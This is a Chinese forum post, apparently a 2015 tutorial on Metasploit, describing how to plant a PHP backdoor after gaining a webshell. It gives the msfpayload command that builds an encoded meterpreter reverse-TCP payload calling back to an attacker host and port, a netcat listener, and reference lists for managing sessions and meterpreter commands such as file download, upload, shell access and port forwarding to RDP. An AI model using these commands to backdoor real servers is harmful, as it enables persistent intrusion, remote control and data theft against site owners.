设为首页 收藏本站
查看: 1022|回复: 0

msfpayload反弹shell

[复制链接]

尚未签到

发表于 2015-12-3 15:39:49 | 显示全部楼层 |阅读模式
  1、前期--
  情景就是当我们获得webshell时,我们想留下我们的后门,这个时候我们可以用到msfpayload与msfconsole结合使用



启动PostgreSQL服务:service postgresql start
启动metasploit服务:service metasploit start
启动msfconsole:msfconsole
查看数据库连接状态:db_status
  生成后门文件



msfpayload php/meterpreter/reverse_tcp LHOST=192.168.133.128 LPORT=5555 R | msfencode -e php/base64 -t raw -o /root/Desktop/exp.php
  exp.php需要加上<?php  ?>
  攻击端启动监听
DSC0000.png
  或者



nc 192.168.133.128 -lvp 5555
  然后去访问我们的后门文件
DSC0001.png
  2、大家想保存我们得到的session怎么办?首先必须连接数据库



exploit -h
-e <opt>  The payload encoder to use.  If none is specified, ENCODER is used.  有效负载编码,默认使用
-f        Force the exploit to run regardless of the value of MinimumRank.
-h        Help banner.
-j        Run in the context of a job.  在后台中运行
-n <opt>  The NOP generator to use.  If none is specified, NOP is used.
-o <opt>  A comma separated list of options in VAR=VAL format.
-p <opt>  The payload to use.  If none is specified, PAYLOAD is used.
-t <opt>  The target index to use.  If none is specified, TARGET is used.
-z        Do not interact with the session after successful exploitation  建立会话放到后台


sessions -h
-K        Terminate all sessions  杀死所有sessions
-c <opt>  Run a command on the session given with -i, or all 执行一个命令
-d <opt>  Detach an interactive session
-h        Help banner
-i <opt>  Interact with the supplied session ID   连接会话
-k <opt>  Terminate sessions by session ID and/or range
-l        List all active sessions
-q        Quiet mode
-r        Reset the ring buffer for the session given with -i, or all
-s <opt>  Run a script on the session given with -i, or all
-t <opt>  Set a response timeout (default: 15)
-u <opt>  Upgrade a shell to a meterpreter session on many platforms
-v        List verbose fields
  
  3、meterpreter使用



Core Commands 代码命令
=============
Command                   Description
-------                   -----------
?                         Help menu  查看帮助
background                Backgrounds the current session 将sessions保存到后台
bgkill                    Kills a background meterpreter script  杀死后台meterpreter脚本
bglist                    Lists running background scripts 列出后台meterpreter脚本
bgrun                     Executes a meterpreter script as a background thread   在后台进程中执行一个脚本
channel                   Displays information about active channels  显示活动的通道
close                     Closes a channel  关闭通道
disable_unicode_encoding  Disables encoding of unicode strings
enable_unicode_encoding   Enables encoding of unicode strings
exit                      Terminate the meterpreter session  退出
help                      Help menu
info                      Displays information about a Post module
interact                  Interacts with a channel
irb                       Drop into irb scripting mode  开启ruby终端
load                      Load one or more meterpreter extensions
quit                      Terminate the meterpreter session
read                      Reads data from a channel
resource                  Run the commands stored in a file
run                       Executes a meterpreter script or Post module
use                       Deprecated alias for 'load'
write                     Writes data to a channel

Stdapi: File system Commands  文件命令
============================
Command       Description
-------       -----------
cat           Read the contents of a file to the screen
cd            Change directory
download      Download a file or directory
edit          Edit a file
getlwd        Print local working directory
getwd         Print working directory
lcd           Change local working directory
lpwd          Print local working directory
ls            List files
mkdir         Make directory
pwd           Print working directory
rm            Delete the specified file
rmdir         Remove directory
search        Search for files
upload        Upload a file or directory

Stdapi: Networking Commands 网络命令
===========================
Command       Description
-------       -----------
portfwd       Forward a local port to a remote service  端口转发
   portfwd  add -l 5555 -p 3389 -r 192.168.198.129  将192.168.198.129的3389端口转发到本地的5555端口

Stdapi: System Commands
=======================
Command       Description
-------       -----------
execute       Execute a command  执行命令
getenv        Get one or more environment variable values
getpid        Get the current process identifier
getuid        Get the user that the server is running as
kill          Terminate a process
ps            List running processes
shell         Drop into a system command shell  生成一个shell
sysinfo       Gets information about the remote system, such as OS  查看系统信息
  附上:初探meterpreter

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-146935-1-1.html 上篇帖子: shell学习:几道常见shell习题 下篇帖子: HBase Shell 的常用操作总结
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表